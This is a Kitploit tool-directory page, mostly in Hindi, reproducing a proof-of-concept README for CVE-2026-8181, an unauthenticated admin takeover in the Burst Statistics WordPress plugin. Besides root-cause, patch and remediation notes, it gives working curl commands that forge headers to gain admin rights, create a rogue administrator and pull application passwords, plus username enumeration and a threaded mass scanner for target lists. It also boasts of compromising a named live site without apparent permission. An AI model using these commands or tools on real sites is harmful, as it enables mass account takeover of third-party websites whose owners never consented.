Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept | Kitploit
उपकरण/GitHubGitHub/zycoder0day/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept

रिपॉजिटरी देखें
573 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-8181 — Burst Statistics Authentication Bypass to Admin Account Takeover


📋 भेद्यता जानकारी

आइटमविवरण
CVE IDCVE-2026-8181
प्लगइनBurst Statistics – Privacy-Friendly WordPress Analytics
प्रभावित संस्करण3.4.0 – 3.4.1.1
पैच किया गया संस्करण3.4.2
CVSS स्कोर9.8 (गंभीर)
प्रकारCWE-287: Improper Authentication
हमला वेक्टरनेटवर्क / रिमोट / बिना प्रमाणीकरण
सक्रिय स्थापनाएं~200,000+
खोजकर्ताPRISM, Wordfence Threat Intelligence
प्रकाशन तिथि8 मई 2026

🎯 सारांश

WordPress प्लगइन Burst Statistics संस्करण 3.4.0 से 3.4.1.1 में एक गंभीर Authentication Bypass भेद्यता हमलावर को बिना प्रमाणीकरण के केवल एडमिन उपयोगकर्ता नाम जानकर पूर्ण WordPress एडमिनिस्ट्रेटर पहुंच प्राप्त करने की अनुमति देती है। इसका परिणाम पूर्ण एडमिन खाता अधिग्रहण है, जिसमें नए खाते बनाना, सामग्री संशोधित करना और दुर्भावनापूर्ण प्लगइन्स स्थापित करना शामिल है।


🔬 तकनीकी विश्लेषण

मूल कारण

भेद्यता includes/Frontend/class-mainwp-proxy.php फ़ाइल में is_mainwp_authenticated() विधि में स्थित है:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

मुख्य बग: wp_authenticate_application_password(null, $username, $password) जब Application Passwords उपलब्ध नहीं होती है तो null लौटाता है ( WP_Error नहीं), जो निम्न पर होता है:

  • HTTP साइटें (HTTPS नहीं) जहां wp_is_application_passwords_available() false लौटाता है
  • वे साइटें जहां is_ssl() false लौटाता है

क्योंकि is_wp_error(null) = false, कोड get_user_by('login', $username) पर आगे बढ़ता है जो केवल उपयोगकर्ता नाम के आधार पर प्रमाणित करता है, बिना किसी पासवर्ड सत्यापन के।

प्रारंभिक निष्पादन (Early Execution)

has_admin_access() विधि class-burst.php की पंक्ति 118 पर plugins_loaded हुक (प्राथमिकता 9) पर कॉल की जाती है:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

यह हुक REST API रूट प्रोसेसिंग से पहले चलता है, इसलिए wp_set_current_user() पूरे अनुरोध के लिए एडमिन अधिकार देता है — केवल Burst एंडपॉइंट ही नहीं।

हमले का क्रम

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 प्रमाण की अवधारणा (Proof of Concept)

पूर्वापेक्षाएँ

  • लक्ष्य HTTP पर चल रहा है (HTTPS नहीं, या SSL सही ढंग से पता नहीं चला)
  • Burst Statistics प्लगइन संस्करण 3.4.0 – 3.4.1.1 स्थापित और सक्रिय
  • एडमिन उपयोगकर्ता नाम ज्ञात (गणना की जा सकती है)

स्थापना

root@kitploit:~
pip3 install requests

उपयोग — एकल लक्ष्य

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

उपयोग — बहु-लक्ष्य (सामूहिक स्कैनर)

root@kitploit:~
python3 poc_CVE-2026-8181.py

पारस्परिक मोड:

  1. लक्ष्य सूची फ़ाइल इनपुट करें (.txt, प्रति पंक्ति एक डोमेन)
  2. थ्रेड्स की संख्या निर्धारित करें (डिफ़ॉल्ट: 50)
  3. नए खाते की क्रेडेंशियल सेट करें
  4. स्कैन चलाएं

targets.txt का प्रारूप:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

न्यूनतम PoC (curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

एडमिन उपयोगकर्ता नाम गणना

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ परिणामों का सत्यापन

परीक्षण WordPress 6.9 और Burst Statistics 3.4.1.1 (लोकलहोस्ट) पर किया गया:

लाइव लक्ष्य सत्यापन

लक्ष्यपरिणाम
ausdermitte-binz.deसफलतापूर्वक PWNED — Burst 3.4.1.1, binzwpadmin के माध्यम से बायपास, xenon1337 खाता बनाया गया (ID:30)

🔧 पैच विश्लेषण (v3.4.2)

संस्करण 3.4.2 में सुधार कई समस्याओं को संबोधित करता है:

  1. सही रिटर्न प्रकार की जांच:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← WP_User की जांच, !WP_Error नहीं
    return false;
}
  1. Application Passwords उपलब्धता को अनिवार्य बनाना:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. कुकी-प्रमाणित अनुरोधों के लिए CSRF नॉन्स की आवश्यकता
  2. add_option() के माध्यम से एकल-उपयोग प्रवर्तन के साथ नॉन्स रीप्ले सुरक्षा
  3. पुराने सिग्नेचर प्रारूप को हटाया गया जो उपयोगकर्ता नाम को बाध्य नहीं करता था

🛡️ उपाय

तत्काल कदम

  1. Burst Statistics को संस्करण 3.4.2 या उससे नए में अपडेट करें
  2. उपयोगकर्ता खातों का ऑडिट करें — अज्ञात एडमिनिस्ट्रेटर खातों की जांच करें
  3. सभी Application Passwords रद्द करें (wp_application_passwords उपयोगकर्ता मेटा)
  4. WordPress एडमिन ईमेल और अन्य सेटिंग्स की समीक्षा करें
  5. अज्ञात प्लगइन/थीम की जांच करें

समझौता संकेतकों का पता लगाना

  • एक्सेस लॉग में बाहरी IP से X-BURSTMAINWP: 1 हेडर वाले अनुरोधों की खोज करें
  • नए एडमिनिस्ट्रेटर खातों के लिए wp_users तालिका की निगरानी करें
  • ट्रांसिएंट burst_mainwp_app_token_* के लिए wp_options की जांच करें
  • उपयोगकर्ता प्रोफ़ाइल में Application Passwords की समीक्षा करें

📁 उपलब्ध फ़ाइलें

फ़ाइलविवरण
exploit_CVE-2026-8181.pyएकल लक्ष्य के लिए PoC शोषण
poc_CVE-2026-8181.pyथ्रेडिंग के साथ बहु-लक्ष्य सामूहिक स्कैनर
README.mdयह दस्तावेज़

⚠️ अस्वीकरण

यह उपकरण और दस्तावेज़ केवल स्पष्ट अनुमति के साथ वैध सुरक्षा परीक्षण के लिए है। बिना अधिकार के उन प्रणालियों पर उपयोग जो आपकी नहीं हैं या बिना लिखित अनुमति के अवैध है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।


📚 संदर्भ

  • Wordfence Advisory
  • Source Code Vulnerable
  • WordPress Plugin Repository
  • WP-Safety Analysis

टूल डाउनलोड करें
परीक्षणपरिणामप्रमाण
प्रमाणीकरण के बिना /wp/v2/users/me तक पहुंचअसफलrest_not_logged_in
बायपास हेडर के साथ पहुंचसफलएडमिन प्रोफ़ाइल + ईमेल + भूमिकाएं
नया एडमिनिस्ट्रेटर खाता बनाएंसफलउपयोगकर्ता आईडी 2, भूमिका: administrator
WordPress सेटिंग्स पढ़ेंसफलसाइट शीर्षक, एडमिन ईमेल, URL
Application Password प्राप्त करेंसफलबेस64 टोकन admin:password
स्थापित प्लगइन्स की सूचीसफलसंस्करण सहित पूरी सूची